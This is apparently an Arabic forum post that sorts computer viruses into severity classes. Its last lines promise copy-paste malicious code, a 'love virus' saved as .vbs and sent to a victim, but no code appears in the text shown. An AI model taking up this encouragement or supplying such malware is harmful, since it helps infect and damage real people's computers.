السلام عليكم ورحمة الله تعالى وبركاته

اولا ناخد لمحة عن الفيروس شو انواعوا



العادي (Trivial) :

لا يفعل الفيروس العادي شيئا سوى التكاثر replication ولا يسبب أي ضرر أو تخريب للمعلومات .



الثانوي (Minor) :

يصيب الملفات التنفيذية فقط executable file ولا يؤثر على البيانات




المعتدل (Moderate) :

يقوم بتدمير جميع الملفات الموجودة على القرص إما باستبدال المعلومات بمعلومات لا معنى لها أو عن طريق إعادة التهيئة Reformatting مثل فيروس Disk killer الذي يقوم بإعادة تهيئة القرص. ويمكن حل مشكلة هذه الفيروسات عن طريق استخدام النسخ الاحتياطي



الرئيسي (Major) :

يؤدي الفيروس إلى تخريب المعلومات بإجراء تغيرات ذكية وبارعة للبيانات دون أن يترك أثرا يشير إلى التغيير الحاصل كأن يقوم بتبديل كتل المعلومات المتساوية في الطول بين الملفات كما أن تأثيره يكون على المدى الطويل ولن يكون من الممكن اكتشاف الإصابة إلا بعد بضعة أيام وبذالك لا يمكن الوثوق بالنسخة الاحتياطية أيضا.



اللامحدود (Unlimited) :

يستهدف الشبكات والملفات المشتركة وتمضي أكثر الوقت في محاولة معرفة كلمة السر للمستخدمين الأكثر فاعلية وعند معرفتها يقوم بتمريرها إلى أحد أو أكثر من مستخدمي الشبكة على أمل أنهم سيستخدمونها لأغراض سيئة.

المهم ندخل الان الى صلب الموضوع اليكم بعض اكواد الخبيثة كل ما عليك هو فتح النوتباد ووضع الكود ولا تنسو حفضه بالامتداد الخاص به . طبعا حنا مش حنعقدها اكثر


فيروس الحب ارسله للضحيه وخلاص انسى انه كان عندك ضحيه
( احفظ الفيروس بإمتداد vbs)
